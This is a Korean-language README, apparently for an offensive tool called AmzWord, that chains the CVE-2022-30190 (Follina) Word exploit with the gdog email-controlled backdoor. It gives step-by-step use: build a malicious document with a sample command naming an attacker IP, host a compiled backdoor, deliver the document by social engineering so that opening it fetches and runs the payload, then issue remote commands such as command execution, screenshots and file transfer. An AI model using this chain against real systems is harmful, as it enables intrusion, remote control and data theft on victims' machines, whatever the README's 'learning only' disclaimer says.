AmzWord

CVE-2022-30190, 163 이메일 백도어, 이미지 스테가노그래피를 기반으로 한 자동화된 공격 체인

다음 GitHub 리포지토리에 감사드리며, 당사는 코드의 일부를 참조·수정하여 통합 및 구현하였습니다:

• gdog
• follina
• virtual-reality

中文README请看这里

요구 사항

gdog:

• Python 2.7
• PyCrypto 모듈
• WMI 모듈
• Enum34 모듈
• Netifaces 모듈

follina:

• Python 3.x

사용 방법 및 공격 과정

1. follina.py를 사용하여 악성 Word 파일을 생성하고 HTTP 리스닝을 켭니다.

   • 코드에서 기본 이름과 기본 IP를 변경할 수 있습니다.
   • --ip 및 --output을 사용하여 지정할 수도 있습니다.
   • 자세한 사용법은 follina을 참조하십시오. 사용 인터페이스는 변경하지 않았습니다.
   • 예: python follina.py --ip 100.100.100.100 --output maldoc.doc

2. gdog 아래의 client.py와 gdog.py를 수정하고 다음 정보를 입력합니다.

   root@kitploit:~

   gmail_user = 'your email'
   gmail_pwd = 'your pwd'
   server = "smtp server"
   imap_server = 'imap server'
   

3. client.py를 tar.exe로 컴파일하고 /follina/www 아래에 배치합니다.

4. 어떤 사회공학적 방법을 사용해서든 대상에게 전송합니다. 피해자가 Word를 열기만 하면 tar.exe가 자동으로 다운로드되어 실행됩니다.

5. 공격자는 로컬에서 gdog을 실행하고 명령을 전송하여 대상 시스템을 제어합니다. 사용법은 gdog을 참조하십시오.

비고

1. 이것은 공격 체인 구현의 데모일 뿐입니다. 실행 중인 exe는 작업 관리자에서도 찾을 수 있어 효과를 관찰하기 쉽습니다. 우리는 백신 우회, 은닉, 권한 상승 등의 작업을 수행하지 않았습니다. 물론 Windows에서는 이것들도 어렵지 않겠죠?
2. gdog 프로젝트는 오래되었으며, 우리는 이를 성공적으로 실행하기 위해 많은 노력을 기울였습니다. 현재 확인된 원격 제어 명령은 명령 실행, 스크린샷 캡처, 팝업 창, 시스템 종료, 화면 잠금, 파일 전송입니다. 이러한 기능은 대부분의 요구를 충족하기에 충분합니다.
3. 이유는 알 수 없지만 imap의 SUBJECT 검색에 문제가 있는 것 같습니다. 대상 제목이 있는 이메일을 검색할 수 없고 반환 값이 비어 있습니다. 다른 방법을 사용할 수밖에 없는데, 예를 들어 읽지 않은 모든 이메일을 읽어 대상만 필터링한 다음 나머지는 다시 읽지 않음으로 설정하는 것입니다. 통제된 사용자가 많을 때 문제가 발생할 수 있으며 해결이 필요합니다.
4. 이 프로젝트는 학습 및 교류 목적으로만 제공됩니다.